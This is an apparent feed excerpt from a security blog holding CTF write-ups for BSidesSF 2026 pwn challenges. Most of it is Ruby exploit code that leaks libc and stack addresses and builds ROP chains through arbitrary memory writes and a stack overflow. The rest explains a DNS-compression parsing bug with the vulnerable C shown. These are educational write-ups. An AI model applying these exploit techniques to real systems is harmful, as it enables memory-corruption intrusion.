  <span class="nb">puts</span> <span class="s1">'  * Plausible return address @ offset 0x%x'</span> <span class="o">%</span> <span class="p">(</span><span class="nb">test</span> <span class="o">-</span> <span class="vi">@libc</span><span class="p">)</span>

  <span class="c1"># Check if it actually returns to somewhere that looks right</span>
  <span class="k">if</span> <span class="no">CALL_MAIN</span><span class="p">.</span><span class="nf">any?</span> <span class="p">{</span> <span class="o">|</span><span class="n">m</span><span class="o">|</span> <span class="n">read</span><span class="p">(</span><span class="nb">test</span> <span class="o">-</span> <span class="n">m</span><span class="p">.</span><span class="nf">length</span><span class="p">,</span> <span class="n">m</span><span class="p">.</span><span class="nf">length</span><span class="p">)</span> <span class="o">==</span> <span class="n">m</span> <span class="p">}</span>
    <span class="c1"># Do the math to figure out where what the offset into the stack was</span>
    <span class="n">return_address</span> <span class="o">=</span> <span class="n">environ_target</span> <span class="o">-</span> <span class="mi">1024</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="nb">puts</span> <span class="s1">'  * It works! Return address is @ 0x%x'</span> <span class="o">%</span> <span class="n">return_address</span>
    <span class="k">return</span> <span class="n">return_address</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Once we have the return address, we can simply overwrite it to point at
<code class="language-plaintext highlighter-rouge">secret_function</code> using the “write memory” function:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">solve_by_calling_secret_function</span>
  <span class="nb">puts</span>
  <span class="nb">puts</span> <span class="s1">'Solving by calling Secret Function (level 1)'</span>
  <span class="n">secret_function</span> <span class="o">=</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_READWRITECALLME</span><span class="p">,</span> <span class="s1">'secret_function'</span><span class="p">)</span>

  <span class="nb">puts</span> <span class="s1">'  * Changing return address (0x%x) to instead call secret_function() (0x%x)'</span> <span class="o">%</span> <span class="p">[</span><span class="vi">@ret</span><span class="p">,</span> <span class="n">secret_function</span><span class="p">]</span>
  <span class="n">write</span><span class="p">(</span><span class="vi">@ret</span><span class="p">,</span> <span class="p">[</span><span class="n">secret_function</span><span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q'</span><span class="p">))</span>

  <span class="n">_have_we_solved_it?</span><span class="p">()</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">_have_we_solved_it?</code> function is used for all three parts, and just causes
the service to exit by sending something invalid (I use the literal <code class="language-plaintext highlighter-rouge">exit</code> string,
but that’s not special):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">def</span> <span class="nf">_have_we_solved_it?</span>
    <span class="c1"># This will cause it to exit</span>
    <span class="nb">puts</span> <span class="s2">"  * Triggering the server's exit code to trigger the vuln"</span>
    <span class="vi">@s</span><span class="p">.</span><span class="nf">puts</span> <span class="s1">'exit'</span>

    <span class="c1"># Read from the socket till it closes</span>
    <span class="no">Timeout</span><span class="p">.</span><span class="nf">timeout</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> <span class="k">do</span>
      <span class="n">data</span> <span class="o">=</span> <span class="s1">''</span>
      <span class="kp">loop</span> <span class="k">do</span>
        <span class="n">new_data</span> <span class="o">=</span> <span class="vi">@s</span><span class="p">.</span><span class="nf">gets</span>
        <span class="k">if</span> <span class="n">new_data</span><span class="p">.</span><span class="nf">nil?</span>
          <span class="n">check_flag</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
          <span class="k">return</span>
        <span class="k">end</span>
        <span class="n">data</span> <span class="o">+=</span> <span class="n">new_data</span>
      <span class="k">end</span>
    <span class="k">end</span>
  <span class="k">end</span>
</code></pre></div></div>

<h3 id="aside-read-vs-fread">Aside: <code class="language-plaintext highlighter-rouge">read</code> vs <code class="language-plaintext highlighter-rouge">fread</code></h3>

<p>While doing final testing, I had a weird bug: the challenge worked fine on
my normal internet connection but failed when I was on Tailscale. It was very
odd!</p>

<p>I tracked it down to this server code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">fgets</span><span class="p">(</span><span class="n">rw</span><span class="p">,</span> <span class="n">STR_SIZE</span><span class="p">,</span> <span class="n">stdin</span><span class="p">))</span>
  <span class="k">break</span><span class="p">;</span>

<span class="c1">// ...</span>

<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">fgets</span><span class="p">(</span><span class="n">offset_str</span><span class="p">,</span> <span class="n">STR_SIZE</span><span class="p">,</span> <span class="n">stdin</span><span class="p">))</span>
  <span class="k">break</span><span class="p">;</span>

<span class="c1">// ...</span>

<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">fgets</span><span class="p">(</span><span class="n">size_str</span><span class="p">,</span> <span class="n">STR_SIZE</span><span class="p">,</span> <span class="n">stdin</span><span class="p">))</span>
  <span class="k">break</span><span class="p">;</span>

<span class="c1">// ...</span>

<span class="n">offset</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">strtoll</span><span class="p">(</span><span class="n">offset_str</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="o">*</span><span class="p">)</span><span class="n">strtol</span><span class="p">(</span><span class="n">size_str</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>

<span class="c1">// ...</span>

<span class="n">data</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</code></pre></div></div>

<p>Called by this, in my solution:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">def</span> <span class="nf">write</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
    <span class="vi">@s</span><span class="p">.</span><span class="nf">puts</span><span class="p">(</span><span class="s1">'w'</span><span class="p">)</span>
    <span class="vi">@s</span><span class="p">.</span><span class="nf">puts</span><span class="p">(</span><span class="s1">'%x'</span> <span class="o">%</span> <span class="n">addr</span><span class="p">)</span>
    <span class="vi">@s</span><span class="p">.</span><span class="nf">puts</span><span class="p">(</span><span class="s1">'%x'</span> <span class="o">%</span> <span class="n">data</span><span class="p">.</span><span class="nf">length</span><span class="p">)</span>
    <span class="nb">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
    <span class="vi">@s</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
  <span class="k">end</span>
</code></pre></div></div>

<p>Sometimes, the <code class="language-plaintext highlighter-rouge">data</code> wasn’t being fully sent!</p>

<p>It turns out that <code class="language-plaintext highlighter-rouge">fgets</code> can read past the newline (<code class="language-plaintext highlighter-rouge">\n</code>), and the rest of the
data is stored in an internal buffer; that means that while the <code class="language-plaintext highlighter-rouge">f*</code> functions
can access it (<code class="language-plaintext highlighter-rouge">fgets</code>, <code class="language-plaintext highlighter-rouge">fgets</code>, <code class="language-plaintext highlighter-rouge">fread</code>, etc), the low-level functions (<code class="language-plaintext highlighter-rouge">read</code> /
<code class="language-plaintext highlighter-rouge">write</code>) can no longer access it.</p>

<p>On my normal network connection, <code class="language-plaintext highlighter-rouge">sleep(0.1)</code> was enough to prevent the length
and data from getting bundled together; on Tailscale, it was not.</p>

<p>I fixed it by changing from <code class="language-plaintext highlighter-rouge">read</code> to <code class="language-plaintext highlighter-rouge">fread</code>, and then failed to deploy the
new versions until people complained it wasn’t working! Whoops!</p>

<h2 id="readwriteme"><code class="language-plaintext highlighter-rouge">readwriteme</code></h2>

<p><code class="language-plaintext highlighter-rouge">readwriteme</code> is essentially the same codebase, but I removed <code class="language-plaintext highlighter-rouge">secret_function</code>.</p>

<p>The first part of the solution is identical - I use the same primitives to leak
a libc address and then the return address.</p>

<p>Once I have the return address, I write the path to the flag -
<code class="language-plaintext highlighter-rouge">/home/ctf/flag.txt</code> - to a random spot on the stack way far away from the
other data:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="s1">'Solving by writing to memory (level 2)'</span>
<span class="n">empty_memory</span> <span class="o">=</span> <span class="vi">@ret</span> <span class="o">-</span> <span class="mh">0x10000</span>

<span class="nb">puts</span> <span class="s1">'  * Writing the flag path to random stack memory @ 0x%x'</span> <span class="o">%</span> <span class="n">empty_memory</span>
<span class="n">write</span><span class="p">(</span><span class="n">empty_memory</span><span class="p">,</span> <span class="s2">"/home/ctf/flag.txt</span><span class="se">\0</span><span class="s2">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Then we build a ROP chain:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="s1">'  * Building a ROP chain'</span>
<span class="n">rop_chain</span> <span class="o">=</span> <span class="p">[</span>
  <span class="c1">### open()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="n">empty_memory</span><span class="p">,</span> <span class="c1"># Filename</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># Flags</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDX_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># mode</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'open'</span><span class="p">),</span>

  <span class="c1">### read()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="c1"># Handle</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="n">empty_memory</span> <span class="o">+</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Buffer</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDX_RET</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Length</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'read'</span><span class="p">),</span>

  <span class="c1">### write()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="c1"># Handle</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="n">empty_memory</span> <span class="o">+</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Buffer</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDX_RET</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Length</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'write'</span><span class="p">),</span>

  <span class="c1">### exit()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="c1"># code</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'exit'</span><span class="p">)</span>
<span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span>

<span class="nb">puts</span> <span class="s1">'  * Writing the ROP chain starting at the return address, 0x%x'</span> <span class="o">%</span> <span class="vi">@ret</span>
<span class="n">write</span><span class="p">(</span><span class="vi">@ret</span><span class="p">,</span> <span class="n">rop_chain</span><span class="p">)</span>

<span class="c1"># Make sure we're done</span>
<span class="n">_have_we_solved_it?</span><span class="p">()</span>
</code></pre></div></div>

<p>The ROP chain opens, reads, and writes the file to stdout, then calls exit.</p>

<h2 id="readme"><code class="language-plaintext highlighter-rouge">readme</code></h2>

<p>The final challenge is <code class="language-plaintext highlighter-rouge">readme</code>, and the trick is that it no longer has a
<code class="language-plaintext highlighter-rouge">write</code> function. You now have to exploit a stack buffer overflow (that’s always
been present) to get code execution.</p>

<p>To solve this generically (so I could recompile my code and not break my
solution), I do a little search to figure out how far the buffer is from the
return address (ie, how many bytes to overwrite):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_find_exploit_offset</span><span class="p">()</span>
  <span class="nb">puts</span> <span class="s2">"  * Filling 'data' buffer with random garbage so we can find it on the stack"</span>

  <span class="c1"># Use read_h to fill the "data" buffer with random junk</span>
  <span class="n">data</span> <span class="o">=</span> <span class="p">[</span><span class="n">read_h</span><span class="p">(</span><span class="vi">@libc</span> <span class="o">+</span> <span class="mi">1000</span><span class="p">,</span> <span class="mi">100</span><span class="p">)].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)</span>

  <span class="nb">puts</span> <span class="s1">'  * Reading stack before the return address to find it...'</span>
  <span class="n">read_memory</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="vi">@ret</span> <span class="o">-</span> <span class="mi">1000</span><span class="p">,</span> <span class="mi">1000</span><span class="p">)</span>
  <span class="n">index</span> <span class="o">=</span> <span class="n">read_memory</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

  <span class="k">if</span> <span class="n">index</span><span class="p">.</span><span class="nf">nil?</span>
    <span class="k">raise</span> <span class="s2">"Didn't find exploit offset :("</span>
  <span class="k">end</span>

  <span class="k">return</span> <span class="mi">1000</span> <span class="o">-</span> <span class="n">index</span>
</code></pre></div></div>

<p>Then we build a very similar ROP chain, except that this time we need to include
the filename since we can’t write to arbitrary memory anymore:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Build our ROP chain</span>
<span class="nb">puts</span> <span class="s1">'  * Building a ROP chain'</span>
<span class="n">rop_chain</span> <span class="o">=</span> <span class="p">[</span>
  <span class="c1">### open()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mh">0x5a5a5a5a5a5a5a5a</span><span class="p">,</span> <span class="c1"># Filename (will be updated)</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># Flags</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDX_RET</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="c1"># mode</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'open'</span><span class="p">),</span>

  <span class="c1">### read()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="c1"># Handle</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="n">empty_memory</span> <span class="o">+</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Buffer</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDX_RET</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Length</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'read'</span><span class="p">),</span>

  <span class="c1">### write()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="c1"># Handle</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RSI_RET</span><span class="p">,</span> <span class="n">empty_memory</span> <span class="o">+</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Buffer</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDX_RET</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="c1"># Length</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'write'</span><span class="p">),</span>

  <span class="c1">### exit()</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="no">POP_RDI_RET</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="c1"># code</span>
  <span class="vi">@libc</span> <span class="o">+</span> <span class="n">get_symbol</span><span class="p">(</span><span class="no">FILE_LIBC</span><span class="p">,</span> <span class="s1">'exit'</span><span class="p">)</span>
<span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q*'</span><span class="p">)</span>

<span class="c1"># Add the FLAG_FILE to the end</span>
<span class="n">rop_chain</span> <span class="o">+=</span> <span class="s2">"</span><span class="si">#{</span> <span class="no">FLAG_FILE</span> <span class="si">}</span><span class="se">\0</span><span class="s2">"</span>
</code></pre></div></div>

<p>Then do some math to get the actual flag filename address:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Calculate the actual address of the flag filename + update in the rop</span>
<span class="c1"># chain</span>
<span class="n">flag_ptr</span> <span class="o">=</span> <span class="vi">@ret</span> <span class="o">+</span> <span class="n">rop_chain</span><span class="p">.</span><span class="nf">length</span> <span class="o">-</span> <span class="no">FLAG_FILE</span><span class="p">.</span><span class="nf">length</span> <span class="o">-</span> <span class="mi">1</span>
<span class="n">rop_chain</span> <span class="o">=</span> <span class="n">rop_chain</span><span class="p">.</span><span class="nf">gsub</span><span class="p">(</span><span class="sr">/ZZZZZZZZ/</span><span class="p">,</span> <span class="p">[</span><span class="n">flag_ptr</span><span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'Q'</span><span class="p">))</span>
<span class="nb">puts</span> <span class="s1">'  * Calculated the offset of the flag path in memory: 0x%x'</span> <span class="o">%</span> <span class="n">flag_ptr</span>
</code></pre></div></div>

<p>Because the stack overflow is from “read”ing memory, the solution requires us
to find existing bytes to build the ROP chain. We build a “library” of existing
bytes by reading a chunk of libc:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="s2">"  * Reading a chunk of memory that we're gonna build our exploit from"</span>
<span class="n">data_buffer</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="vi">@libc</span><span class="p">,</span> <span class="mh">0x10000</span><span class="p">)</span>
</code></pre></div></div>

<p>Then set up a whole buncha reads - but this doesn’t actually send them yet! For
speed, this will do all the reads simultaneously instead of having a
back-and-forth for every byte:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="n">rop_chain</span><span class="p">.</span><span class="nf">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">).</span><span class="nf">step</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">i</span><span class="o">|</span>
  <span class="c1"># Get the character</span>
  <span class="n">c</span> <span class="o">=</span> <span class="n">rop_chain</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>

  <span class="c1"># This is how far into the libc buffer it is</span>
  <span class="n">offset_into_libc</span> <span class="o">=</span> <span class="n">data_buffer</span><span class="p">.</span><span class="nf">index</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

  <span class="k">if</span> <span class="n">offset_into_libc</span><span class="p">.</span><span class="nf">nil?</span>
    <span class="k">raise</span> <span class="s2">"Couldn't find character: 0x%02x"</span> <span class="o">%</span> <span class="n">c</span><span class="p">.</span><span class="nf">ord</span>
  <span class="k">end</span>

  <span class="n">offset_to_write</span> <span class="o">=</span> <span class="n">exploit_to_ret</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span>
  <span class="c1"># puts "Writing 0x%02x to offset &lt;data&gt; + %d" % [c.ord, offset_to_write]</span>
  <span class="n">read_h_caching</span><span class="p">(</span><span class="vi">@libc</span> <span class="o">+</span> <span class="n">offset_into_libc</span> <span class="o">-</span> <span class="p">(</span><span class="n">offset_to_write</span> <span class="o">-</span> <span class="mi">1</span><span class="p">),</span> <span class="n">offset_to_write</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>

<p>This will send alllllll the exploit code at once:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="s1">'  * Triggering the exploit!'</span>
<span class="n">read_h_go</span><span class="p">()</span>
</code></pre></div></div>

<p>And then we check if it’s solved, as usual!</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Did we win?</span>
<span class="n">_have_we_solved_it?</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>ron</name></author><category term="bsidessf-2026" /><category term="bsidessf" /><category term="ctfs" /><category term="pwn" /><summary type="html"><![CDATA[This is a write-up for three “pwn” challenges - readwritecallme, readwriteme, readme. They’re all pretty straight forward, and designed to teach a specific exploit type: how to exploit an arbitrary memory write. All three challenges let you read arbitrary memory, and the first two additionally let you write to arbitrary memory. The final one (readme) only lets you read memory, but it has a buffer overflow that lets you take control. Technically, all three can be solved with the readme solution, but I’ll go over my intended solutions for all three, since I think it’s helpful. As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2026: nameme - a DNS-based pwn challenge</title><link href="https://www.skullsecurity.org/2026/bsidessf-2026-nameme-a-dns-based-pwn-challenge" rel="alternate" type="text/html" title="BSidesSF 2026: nameme - a DNS-based pwn challenge" /><published>2026-03-30T20:55:43+00:00</published><updated>2026-03-30T20:55:43+00:00</updated><id>https://www.skullsecurity.org/2026/bsidessf-nameme</id><content type="html" xml:base="https://www.skullsecurity.org/2026/bsidessf-2026-nameme-a-dns-based-pwn-challenge"><![CDATA[<p>This is a challenge I’ve been considering making forever. It’s possible I’ve
already made it, even, it’s one of those things that appeals to my brain!</p>

<p>As always, you can find copies of the binaries, containers, and full solution
in our <a href="https://github.com/BSidesSF/ctf-2026-release">GitHub repo</a>!</p>

<!--more-->

<h2 id="dns-compression">DNS Compression</h2>

<p>The important thing to realize is that DNS has a weird feature called
“compression”. What that means is, a part of a DNS name in a DNS packet can
contain a reference to another name. So if you query <code class="language-plaintext highlighter-rouge">example.org</code>, you send
this request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000  00 16 01 00 00 01 00 00  00 00 00 00 07 65 78 61   ........ .....exa
00000010  6d 70 6c 65 03 6f 72 67  00 00 01 00 01            mple.org .....
</code></pre></div></div>

<p>DNS requests are pretty straight forward:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">0x0016</code> - transaction id (random)</li>
  <li><code class="language-plaintext highlighter-rouge">0x0100</code> - flags</li>
  <li><code class="language-plaintext highlighter-rouge">0x0001</code> / <code class="language-plaintext highlighter-rouge">0x0000</code> / <code class="language-plaintext highlighter-rouge">0x0000</code> / <code class="language-plaintext highlighter-rouge">0x0000</code> - one question is coming, and no answers/other records</li>
  <li><code class="language-plaintext highlighter-rouge">\x07example\x03org\x00</code> - <code class="language-plaintext highlighter-rouge">example.org</code>, encoded with one-byte length prefixes instead of periods</li>
  <li><code class="language-plaintext highlighter-rouge">0x0001</code> / <code class="language-plaintext highlighter-rouge">0x0001</code> - A record / INternet (or the other way around, I always forget)</li>
</ul>

<p>The response is pretty similar:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000  00 16 81 80 00 01 00 02  00 00 00 00 07 65 78 61   ........ .....exa
00000010  6d 70 6c 65 03 6f 72 67  00 00 01 00 01 c0 0c 00   mple.org ........
00000020  01 00 01 00 00 00 89 00  04 68 12 03 18 c0 0c 00   ........ .h......
00000030  01 00 01 00 00 00 89 00  04 68 12 02 18            ........ .h...
</code></pre></div></div>

<p>The transaction and flags are the same.</p>

<p>The numbers of records is different: <code class="language-plaintext highlighter-rouge">0x0001</code> / <code class="language-plaintext highlighter-rouge">0x0002</code> / <code class="language-plaintext highlighter-rouge">0x0000</code> / <code class="language-plaintext highlighter-rouge">0x0000</code>
means there is one question and TWO answers now. The important takeaway is that
the response repeats the question back.</p>

<p>The question starts at 0x0c - <code class="language-plaintext highlighter-rouge">\x07example\x03org\x00</code>.</p>

<p>The first answer (after the <code class="language-plaintext highlighter-rouge">0x0001</code> / <code class="language-plaintext highlighter-rouge">0x0001</code>) starts with <code class="language-plaintext highlighter-rouge">0xc00c</code>. That’s
gonna be the key!</p>

<p><code class="language-plaintext highlighter-rouge">0xc...</code> means “look elsewhere in the packet”, and <code class="language-plaintext highlighter-rouge">0x.00c</code> means “look at
offset 0x0c” - ie, the previous time <code class="language-plaintext highlighter-rouge">example.org</code> was used.</p>

<p>Basically, DNS packets have a feature that lets you look elsewhere in the packet.
Instead of 0xc00c, you can do <code class="language-plaintext highlighter-rouge">0xc015</code> and it’ll reference <code class="language-plaintext highlighter-rouge">.org</code>.</p>

<p>NORMALLY, you don’t see this sorta compression in client-to-server messages,
because they typically only carry a single question, but in MY server it’s
allowed!</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>The client reads up to 1024 bytes from the UDP socket:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kt">ssize_t</span> <span class="n">size</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fileno</span><span class="p">(</span><span class="n">stdin</span><span class="p">),</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">buffer</span><span class="p">,</span> <span class="n">BUFFER_SIZE</span><span class="p">);</span>
</code></pre></div></div>

<p>When names are read, they’re copied into a stack buffer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">stored_read_pointer</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">label</span> <span class="o">=</span> <span class="o">*</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span><span class="o">++</span><span class="p">;</span> <span class="n">label</span><span class="p">;</span> <span class="n">label</span> <span class="o">=</span> <span class="o">*</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// fprintf(stderr, "Label: 0x%02x (%d) @ %ld - %s\n", label, label, question_length, buffer-&gt;read_pointer - 1);</span>
  <span class="c1">// Pointer label</span>
  <span class="k">if</span><span class="p">((</span><span class="n">label</span> <span class="o">&amp;</span> <span class="mh">0xC0</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xC0</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint16_t</span> <span class="n">ptr</span> <span class="o">=</span> <span class="mh">0x3FFF</span> <span class="o">&amp;</span> <span class="p">((</span><span class="n">label</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="o">*</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span><span class="o">++</span><span class="p">);</span>
    <span class="c1">// fprintf(stderr, "Jumping to 0x%02x (%d)\n", ptr, ptr);</span>

    <span class="c1">// If this is the first pointer, keep track of where we started</span>
    <span class="k">if</span><span class="p">(</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">stored_read_pointer</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">stored_read_pointer</span> <span class="o">=</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">read_pointer</span> <span class="o">=</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">ptr</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">label</span> <span class="o">&gt;</span> <span class="mh">0x7F</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Illegal label: 0x%02x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">label</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
